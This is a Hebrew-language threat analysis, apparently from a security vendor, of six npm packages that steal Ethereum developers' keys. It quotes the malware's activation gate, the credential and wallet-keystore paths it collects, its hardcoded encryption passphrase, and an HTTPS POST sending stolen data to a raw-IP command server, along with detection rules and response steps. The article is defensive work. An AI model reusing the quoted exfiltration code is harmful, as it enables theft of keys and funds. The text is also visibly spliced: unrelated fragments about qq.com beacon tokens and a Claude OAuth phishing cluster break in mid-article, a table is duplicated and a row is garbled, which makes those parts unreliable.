TL; DR
ב-6 במאי 2026, מפרסם npm יחיד, namikazesarada010206, פרסם שש חבילות זדוניות המכוונות למערכת האקולוגית של מפתחי Ethereum, Solidity ו-DeFi.
החבילות, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, ו web3-utils-core, השתמש בשמות הגיוניים שנועדו להיראות כמו ספריות עזר עבור כלי Web3 פופולריים.
כל שש החבילות הכילו את אותו הדבר telemetry.js קובץ. הקובץ היה זהה לבייטים ברחבי האשכול, עם SHA-256:
התוכנה הזדונית לא מופעלת בזמן ההתקנה. אין preinstall or postinstall hook. במקום זאת, הוא מופעל כאשר החבילה מיובאת דרך require().
הפרט הזה חשוב.
ה-implant ממתין עד שמפתח ישתמש בפועל בחבילה. לאחר מכן הוא בודק האם תחנת העבודה נראית כמו סביבת פיתוח אמיתית של Ethereum / Solidity. הוא מחפש מפתחות Alchemy או Infura, מפתחות פרטיים, mnemonics, מפתחות deployer או ספריית Foundry מקומית.
אם המארח תואם, הגונב אוסף מפתחות פרטיים של SSH, מאגרי מפתחות של ארנקי Foundry / Geth / Brownie, .env* קבצים ומשתני סביבה רגישים. הוא מצפין את החבילה עם AES-256-GCM באמצעות סיסמה קשיחה ומעביר אותה לנקודת קצה גולמית של IPv4 C2 כאשר אימות TLS מושבת.
מערכת התרעה מוקדמת מפני תוכנות זדוניות (MEW) של Xygeni אישרה שכל שש החבילות כזדוניות. חבילת דוח ההסרה של הרישום npm ממתינה לאישור.
האשכול: שש חבילות, מו"ל אחד
חשבון המוציא לאור namikazesarada010206 היה מקושר לכתובת Gmail שלא אומתה namikazesarada010206@gmail.com.
הקמפיין הופיע כהתפרצות פרסום של יום אחד ב-6 במאי 2026. כל שש החבילות עברו גרסאות כ- 1.0.0, לא היו לו תלויות בזמן ריצה, ושלח רק שלושה קבצים:
package.json index.js telemetry.js הם גם הכריזו על אותו מאגר מקורות:
https://github.com/harunosakura030303-maker/evmchain-config שלוש החבילות הראשונות נתפסו על ידי סורקי MEW בפרסום הראשון. שלוש הנותרות סומנו בכפייה לאחר סקירת אנליסטים של פרופיל ה-npm של המפרסם. לאחר אותו פרופיל זהה לבייטים telemetry.js אושר ברחבי האשכול, הם נסגרו כזדוניים עקב עקביות.
| חֲבִילָה | גִרְסָה | פורסם ב-npm | כרטיס MEW | פסק דין |
|---|---|---|---|---|
| ליבת ויים | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | זדוני |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | זדוני |
| כלי ליבת hardhat | 1.0.0 | 2026-05-06 | #51051 | זדוני |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | זדוני, עקבי |
| כלי יציקה | 1.0.0 | 2026-05-06 | #51071 | זדוני, עקבי |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | זדוני, עקבי |
אסטרטגיית מתן השמות פשוטה אך יעילה.
חבילות אלה אינן מתחזות לשמות מדויקים במעלה הזרם. במקום זאת, הן משתמשות בסיומות "תועלת" סבירות כגון -core, -utils, ו -utils-coreזה גורם להם להיראות כמו ספריות נלוות שמפתח עשוי לצפות לראות ליד כלי Web3.
| חבילה זדונית | מטרה לגיטימית |
|---|---|
| ליבת ויים | viem, לקוח פופולרי של TypeScript של את'ריום |
| viem-utils-core | ויים |
| כלי ליבת hardhat | hardhat, סביבת פיתוח מרכזית של Solidity |
| evm-utils | מרחב שמות של כלי EVM כללי |
| כלי יציקה | יציקה, שרשרת כלים של Solidity |
| web3-utils-core | web3-utils, עוזרי Web3.js |
זוהי תבנית "החבילה המשלימה": לא "אני החבילה האמיתית", אלא "אני נראה כמו עוזר סביר סביב החבילה האמיתית".
עבור מפתחי DeFi הנעים במהירות, זה מספיק כדי ליצור סיכון.
מה קורה כאשר החבילה מיובאת
שרשרת ההתקפה קטנה, מכוונת וממוקדת בסביבות פיתוח קריפטו.
אין וו התקנה. במקום זאת, כל חבילה כוללת index.js שמייצא פונקציונליות של stub ולאחר מכן טוען את מודול הטלמטריה הזדוני.
require('./telemetry').init(); משמעות הדבר היא שהתוכנה הזדונית מופעלת בייבוא הראשון.
זה שימושי מבחינה תפעולית עבור התוקף. סורקים וארגזי חול רבים מתמקדים בהתנהגות בזמן ההתקנה. חבילה זו ממתינה עד שהיא משמשת בפועל על ידי מפתח, סקריפט בנייה, חבילת בדיקות או נתיב זמן ריצה.
שער הפעלה: הפעלה רק בתחנות עבודה אמיתיות של מפתחי Web3
החלק החשוב ביותר של השתל הוא שער ההפעלה.
התוכנה הזדונית בודקת משתני סביבה הנמצאים בדרך כלל במחשבי מפתחי Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); זה גם בודק אם נראה ש-Foundry מותקן:
fs.existsSync(path.join(os.homedir(), '.foundry')) אם אף אחד מהתנאים אינו מתקיים, הפונקציה מחזירה ולא עושה דבר.
זה הופך את החבילה לשקטה יותר בסביבות ניתוח גנריות. ארגז חול ללא Foundry, מפתחות Alchemy, מפתחות Infura, מפתחות פרטיים או mnemonics עשוי לראות ייבוא שנראה לא מזיק.
במארח תואם, התוכנה הזדונית ממתינה 60 עד 90 שניות לפני איסוף:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); העיכוב מפחית את המתאם הברור בין ייבוא לחילוט. .unref() call גם מאפשר לתהליך המארח להיסגר כרגיל אם החבילה יובאה בסקריפט קצר מועד.
זו אינה התנהגות רועשת של "סמס ותפיסה". זוהי גניבה ממוקדת שנועד להימנע מהפעלה אלא אם כן סביבת המפתח שווה גניבה ממנה.
מה שהגנב אוסף
לאחר שעברנו את שער ההפעלה, הנוזקה אוספת נתונים ממקורות החשובים ביותר בפיתוח Web3: מפתחות פרטיים, מאגרי מפתחות לארנק, אישורי פריסה, סודות ענן, אסימוני npm ותצורת פרויקט מקומית.
| מָקוֹר | מה נאסף |
|---|---|
| process.env | כל משתנה שתואם ל- /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | קבצים המכילים PRIVATE KEY או BEGIN OPENSSH, כולל תוכן הקובץ המלא |
| ~/.foundry/keystores/* | קבצי אחסון מפתחות של ארנק Foundry |
| ~/.ethereum/keystore/* | קבצי אחסון מפתחות של ארנק Geth |
| ~/.brownie/accounts/* | קבצי אחסון מפתחות לארנק בראוני |
| ${cwd}/.env | תוכן הקובץ המלא |
| ${cwd}/.env.local | תוכן הקובץ המלא |
| ${cwd}/.env.production | תוכן הקובץ המלא |
| ${cwd}/.env.development | תוכן הקובץ המלא |
| os.hostname() | מטא-נתונים של המארח |
| crypto.randomUUID() | מזהה קורבן/סשן |
| תאריך.עכשיו() | חותמת זמן של איסוף |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com אסימוני ATTA הם:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 לא הצלחנו לאשר האם הטלמטריה הייתה של האנליטיקה של המפעיל עצמו או מערוץ מוניטיזציה נפרד. אסימוני ה-ATTA זהים בשתי הדגימות שבדקנו.
אשכול ב': הייבאי
פישינג OAuth של claude.hk + חטיפת URL של ANTHROPIC_BASE
המדגם של ה-1 באפריל הוא הזרוע הגולמית והמוקדמת יותר של הקמפיין.
heibai:2.1.88-claude.hk-4 פורסם על ידי wuguoqiangvip28, חשבון שנוצר ב-7 ביוני 2025. החבילה גרסה מפורשת של עצמה כנגד הגרסה הלגיטימית 2.1.88 שחרור אנתרופי.
זה לא מפריע ל-CA-cert MITM. במקום זאת, זה משקר למשתמש לגבי נקודת הקצה של OAuth.
התוספות הזדוניות בנוסף לקוד המקור של קלוד שדלף כוללות:
| מָקוֹר | מה נאסף |
|---|---|
| process.env | כל משתנה שתואם ל- /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | קבצים המכילים PRIVATE KEY או BEGIN OPENSSH, כולל תוכן הקובץ המלא |
| ~/.foundry/keystores/* | קבצי אחסון מפתחות של ארנק Foundry |
| ~/.ethereum/keystore/* | קבצי אחסון מפתחות של ארנק Geth |
| ~/.brownie/accounts/* | קבצי אחסון מפתחות לארנק בראוני |
| ${cwd}/.env | תוכן הקובץ המלא |
| ${cwd}/.env.local | תוכן הקובץ המלא |
| ${cwd}/.env.production | תוכן הקובץ המלא |
| ${cwd}/.env.development | תוכן הקובץ המלא |
| os.hostname() | מטא-נתונים של המארח |
| crypto.randomUUID() | מזהה קורבן/סשן |
| תאריך.עכשיו() | חותמת זמן של איסוף |
רשימת היעדים ספציפית מאוד. לא מדובר בגניבת דפדפנים כללית או גירוד אישורים נרחב. היא מכוונת למפתחים שבונים, בודקים, פורסים או מפעילים יישומי את'ריום.
הכללת קבצי מפתחות של Foundry, Geth ו-Brownie חשובה במיוחד. קבצים אלה יכולים לייצג גישה ישירה לארנקים או לזהויות פריסה. אם התוקף יכול לשלב אותם עם סיסמאות, זיכרון או סודות סביבה, ייתכן שהוא יוכל להעביר כספים, להתחזות למשתמשי פריסה או לפגוע בפעולות של חוזים חכמים.
הצפנה לפני חילוץ
התוכנה הזדונית מצפינה את הנתונים שנאספו לפני שליחתם.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); סיסמת הסיסמה הקבועה היא:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d המטען הסופי עטוף כ-JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} הצפנה כשלעצמה אינה הופכת את הנוזקה למתקדמת יותר. עם זאת, היא מקשה על בדיקת הרשת. מגן הצופה ביציאה יראה מטען JSON, אך לא את המפתחות הגנובים, קבצי הארנק או... .env תוכן ללא סיסמה קשיחה ולוגיקת פענוח.
חילוץ ל-IPv4 גולמי C2
נתיב הסינון מקודד בקפידה:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); תוכנה זדונית שולחת נתונים אל:
https://76.13.37.80:8443/api/v1/telemetry שני פרטים בולטים.
ראשית, ה-C2 הוא כתובת IPv4 גולמית ולא דומיין. זה מבטל את הצורך ברישום דומיין ומונע כמה גילוי מבוססי דומיין.
שנית, אימות TLS מושבת עם:
rejectUnauthorized: false זה מאפשר לתוכנה הזדונית לקבל כל אישור, כולל אישורים חתומים עצמית. במילים אחרות, התוקף מקבל העברה מוצפנת מבלי להזדקק לאישור ציבורי תקף.
אין לוגיקת ניסיון חוזר ואין מארח גיבוי. שגיאות נבלעות בשקט. זה שומר על החבילה שקטה אם ה-C2 לא מקוון או בלתי נגיש.
למה הקמפיין הזה חשוב
רוב חבילות ה-npm הזדוניות המכוונות למפתחים רודפות אחר אישורים רחבים: אסימוני npm, מפתחות AWS, אסימוני GitHub, או .npmrc קבצים.
קמפיין זה מצמצם את היעד.
הוא מחפש סימנים לכך שהמכונה שייכת למפתח של את'ריום או סולידיטי. לאחר מכן הוא שולף בדיוק את הנכסים החשובים בסביבה זו: מאגרי מפתחות לארנק, מפתחות פרטיים, מנמוניקה, מפתחות פריסה, .env קבצים ומפתחות SSH.
זה הופך את הקמפיין למסוכן יותר עבור צוותי Web3 מאשר גונב npm גנרי.
זיהום מוצלח עלול לחשוף:
- ארנקי פריסה
- מפתחות ניהול חוזים חכמים
- מפתחות ספק RPC
- אישורי פריסת ענן
- אסימוני פרסום של npm
- גישת SSH למפתח או לתשתית בנייה
- סודות הפרויקט המאוחסנים ב
.envקבצים - חנויות מפתחות לארנק עבור Foundry, Geth או Brownie
שמות החבילות מראים גם הנדסה חברתית ברורה. הם מכוונים למערכת האקולוגית של מפתחי Web3 באמצעות שמות כלים מוכרים: viem, hardhat, foundry, evm, ו web3.
השחקן לא צריך להתפשר על הפרויקטים האמיתיים. הוא רק צריך מפתח שיתקין מה שנראה כמו חבילת עזר סבירה.
אינדיקטורים של פשרה וגילוי
| חבילות ומוציא לאור | |
|---|---|
| שדה | ערך |
| מו"ל npm | נמיקאזסארדה010206 |
| כתובת הדוא"ל של המוציא לאור | namikazesarada010206@gmail.com |
| אימייל מאומת | לא |
| SCM מְאוּמָת | לא |
| ציון מוניטין | 1.0 |
| מארזים | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| גרסאות | כל 1.0.0 |
| מאגר המקורות | https://github.com/harunosakura030303-maker/evmchain-config |
| אושר כזדוני | כל שש החבילות |
| רשת | |
|---|---|
| סוּג | ערך |
| נקודת קצה C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| יציאת C2 | 8443/tcp |
| התנהגות TLS | לדחותלא מורשה: שקר |
| סכמת מטען | {"v":2,"ד": "ד": "ת": } |
| קבצים ו-Hashes | |
|---|---|
| סוּג | ערך |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| פריסת החבילה | package.json, index.js, telemetry.js |
| ספירת קבצים | 3 |
| גודל כולל משוער | 3.4 KB |
אותות הפעלה
התוכנה הזדונית בודקת את משתני הסביבה הבאים:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY זה גם בודק:
~/.foundry/ נתיבי מארח ממוקדים
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development רגקס אוסף
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i הערות גילוי
מספר כללים לוכדים את הקמפיין הזה מבלי להזדקק לניתוח התנהגותי מלא.
ראשית, סרוק קבצי נעילה עבור ששת שמות החבילות הזדוניים:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core כל התאמה ב package-lock.json, yarn.lock, pnpm-lock.yaml, או node_modules יש להתייחס להיסטוריה כאל אירוע חמור.
שנית, יש לנטר תהליכי Node.js הקוראים נתיבי אחסון מפתחות של הארנק:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ זוהי לעיתים רחוקות התנהגות לגיטימית עבור חבילה שיובאה כתלות מסייעת. היא חשודה במיוחד כאשר היא מלווה בפעילות רשת יוצאת.
שלישית, חסמו או התראות על חיבורי HTTPS אל:
76.13.37.80:8443 במיוחד כאשר נתיב הבקשה הוא:
/api/v1/telemetry רביעית, חפשו חבילות npm המשלבות את התכונות הבאות:
- מו"ל חדש או בעל מוניטין נמוך
- חשבון ג'ימייל לא מאומת
- שם החבילה הסמוכה ל-Web3
- אין היסטוריית מאגרים משמעותית
- פריסת חבילה זעירה
index.jsשטוען קובץ טלמטריה או קובץ עזר- אין תלויות בזמן ריצה
- אוסף משתני סביבה רגישים
- גישה לאחסון מפתחות ארנק
דפוס זה שימושי יותר מ-IOC יחיד מכיוון שהחבילה הבאה עשויה לשנות את כתובת ה-IP אך לשמור על אותה לוגיקת מיקוד.
רשימת תיוג לתגובה לפשרה
אם מפתח השתמש באחת משש החבילות והסביבה שלו תאמה את שער ההפעלה, יש להתייחס לתחנת העבודה כאל נפגעת.
זה כולל מכונות עם Foundry מותקן, מפתחות Alchemy או Infura בסביבה, מפתחות פרטיים, mnemonics או מפתחות פריסה.
תגובה מומלצת:
- נתק את המארח מהרשת.
- לשמור
node_modules, קבצי נעילה, היסטוריית מעטפת ויומני רישום רלוונטיים לזיהוי פלילי. - סובב כל זוג מקשי SSH מתחת
~/.ssh/. - סובבו את מפתחות הארנק עבור כל מאגר מפתחות מתחת
~/.foundry,~/.ethereum, ו~/.brownie. - להעביר כספים לארנקים חדשים.
- סובב כל סוד המאוחסן ב
.env*קבצים במאגרים שבהם עבד המפתח. - סובב סודות סביבה התואמים את ה-regex של האוסף, כולל מפתחות AWS, אסימוני npm, אסימוני פריסה, מפתחות API, מפתחות פרטיים, זרעים ופונקציות זיכרון.
- ביקורת על פעילות ענן, npm, GitHub, ספק RPC ובלוקצ'יין מאז התקנת החבילה לראשונה.
- התקן מחדש את תחנת העבודה לפני שימוש חוזר.
מה שמגנים צריכים לקחת איתם
קמפיין זה מראה כיצד typosquatting של npm מתפתח סביב מערכות אקולוגיות בעלות ערך גבוה של מפתחים.
השחקן לא היה זקוק להתמדה. הוא לא היה זקוק לערפול. הוא אפילו לא היה זקוק לביצוע בזמן ההתקנה.
במקום זאת, הם הסתמכו על שלושה דברים:
- שמות חבילות Web3 סבירים
- הפעלה רק על מכונות פיתוח קריפטו אמיתיות
- גניבה ישירה של הקבצים והסודות החשובים ביותר למפתחי את'ריום
זה הופך את הקמפיין לקל לפספס בסריקה רחבה ומסוכן כשהוא נוחת בסביבה הנכונה.
עבור צוותי Web3, הלקח ברור: התייחסו לשמות תלויות כחלק ממודל האיום שלכם. חבילה שנראית כמו עוזרת לא מזיקה עדיין יכולה להפוך לדרך הקצרה ביותר לפריצה לארנק.
דווח לרישום npm. נעדכן פוסט זה כאשר חשבון המפרסם והחבילות יוסרו.




